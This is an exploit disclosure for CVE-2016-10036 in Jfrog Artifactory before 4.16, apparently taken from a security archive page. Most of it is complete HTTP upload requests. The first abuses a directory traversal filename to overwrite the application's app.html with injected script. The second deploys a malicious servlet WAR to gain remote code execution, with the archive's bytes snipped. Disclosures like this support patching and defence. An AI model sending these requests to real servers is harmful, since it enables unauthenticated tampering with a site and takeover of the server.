what you don't know can hurt you

Jfrog Artifactory Code Execution / Shell Upload

Jfrog Artifactory Code Execution / Shell Upload
Posted Apr 26, 2018
Authored by Alessio Sergi

Jfrog Artifactory versions prior to 4.16 suffer from unauthenticated arbitrary file upload and remote command execution vulnerabilities.

tags | exploit, remote, arbitrary, vulnerability, file upload
advisories | CVE-2016-10036
MD5 | dc65bc67fb5a4cdd39a3ef7d94a10ce6

Jfrog Artifactory Code Execution / Shell Upload

Change Mirror Download
# Exploit Title: Jfrog Artifactory < 4.16 - Unauthenticated Arbitrary File Upload / Remote Command Execution
# Date: 2018-04-25
# Exploit Author: Alessio Sergi
# Vendor Homepage: https://jfrog.com/artifactory/
# Software Link: https://bintray.com/jfrog/artifactory/download_file?file_path=jfrog-artifactory-oss-4.15.0.zip
# CVE : CVE-2016-10036

Jfrog Artifactory < 4.16 is vulnerable to unauthenticated arbitrary file upload and directory traversal vulnerabilities.
The vulnerabilities are within the upload api "/artifactory/ui/artifact/upload", require that "Allow Anonymous Access" is enabled (as it is on a default installation) and can be abused to create or overwrite files on the server. Specifically, it is possible to create or overwrite any files inside the application folder (scenario 1) or deploy a new application (scenario 2) and execute arbitrary code on the server.


Scenario 1: It is possible to modify the html files of the application just by executing an http post request like the one below, which exploits a directory traversal vulnerability on the parameter "filename" to insert the javascript code "<SCRIPT>alert(/Vulnerable/)</SCRIPT>" within the file app.html :

******

POST /artifactory/ui/artifact/upload HTTP/1.1
Host: [removed]
User-Agent: [removed]
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Length: 1749
Content-Type: multipart/form-data; boundary=---------------------------6085305491255810029929874687
Connection: close

-----------------------------6085305491255810029929874687
Content-Disposition: form-data; name="file"; filename="../../../tomcat/webapps/artifactory/webapp/app.html"
Content-Type: application/zip

<!DOCTYPE html>
<html ng-app="artifactory.ui">
<head>
<meta charset="UTF-8">
<meta name="google" content="notranslate">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no">

<link rel="icon" type="image/x-icon" href="images/favicon.40350.ico"/>

<!-- Stylesheets -->
<link rel="stylesheet" href="css/vendorStyles.40350.css"/>
<link rel="stylesheet" href="css/application.40350.css"/>

<title></title>
</head>

<body jf-body-class ng-class="{'load-complete':jfBodyClass.isLoadCompleted()}">
<jf-spinner domain="body"></jf-spinner>
<toaster-container></toaster-container>

<ui-view></ui-view>

<!-- Javascript -->
<script type="text/javascript" src="vendorScripts.40350.js"></script>
<script type="text/javascript" src="templates.40350.js"></script>

<!-- Application code -->
<script src="artifactory_core.40350.js"></script>
<script src="artifactory_services.40350.js"></script>
<script src="artifactory_dao.40350.js"></script>

<script src="artifactory_ui.40350.js"></script>
<script src="artifactory_ui_components.40350.js"></script>
<script src="artifactory_directives.40350.js"></script>
<script src="artifactory_filters.40350.js"></script>

<script src="artifactory_views.40350.js"></script>
<script src="artifactory_states.40350.js"></script>
<script src="artifactory_main.40350.js"></script>
<SCRIPT>alert(/Vulnerable/)</SCRIPT>

</body>
</html>


-----------------------------6085305491255810029929874687--

******

(It is also possible to exploit this vulnerability to create JSP files within the application folder, but the tomcat used by Artifactory on a default installation won't execute them.)



Scenario 2:

It is possible to exploit the same vulnerability to deploy a malicious servlet application on the tomcat server and obtain remote code execution:

******

POST /artifactory/ui/artifact/upload HTTP/1.1
Host: [removed]
User-Agent: [removed]
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Length: 3515
Content-Type: multipart/form-data; boundary=---------------------------6085305491255810029929874687
Connection: close

-----------------------------6085305491255810029929874687
Content-Disposition: form-data; name="file"; filename="../../../tomcat/webapps/malicious-servlet.war"
Content-Type: application/zip

PKi?1/2i?1/23[--SNIP--]
WEB-INF/lib/PKi?1/2i?1/2i?1/2i?1/2i?1/2i?1/2ri?1/2i?1/2> i?1/2i?1/2i?1/2i?1/2

-----------------------------6085305491255810029929874687--

******
Login or Register to add favorites

File Archive:

January 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    4 Files
  • 2
    Jan 2nd
    3 Files
  • 3
    Jan 3rd
    3 Files
  • 4
    Jan 4th
    33 Files
  • 5
    Jan 5th
    31 Files
  • 6
    Jan 6th
    21 Files
  • 7
    Jan 7th
    15 Files
  • 8
    Jan 8th
    19 Files
  • 9
    Jan 9th
    1 Files
  • 10
    Jan 10th
    1 Files
  • 11
    Jan 11th
    33 Files
  • 12
    Jan 12th
    19 Files
  • 13
    Jan 13th
    27 Files
  • 14
    Jan 14th
    8 Files
  • 15
    Jan 15th
    16 Files
  • 16
    Jan 16th
    1 Files
  • 17
    Jan 17th
    2 Files
  • 18
    Jan 18th
    20 Files
  • 19
    Jan 19th
    32 Files
  • 20
    Jan 20th
    15 Files
  • 21
    Jan 21st
    10 Files
  • 22
    Jan 22nd
    16 Files
  • 23
    Jan 23rd
    1 Files
  • 24
    Jan 24th
    1 Files
  • 25
    Jan 25th
    36 Files
  • 26
    Jan 26th
    26 Files
  • 27
    Jan 27th
    0 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    0 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close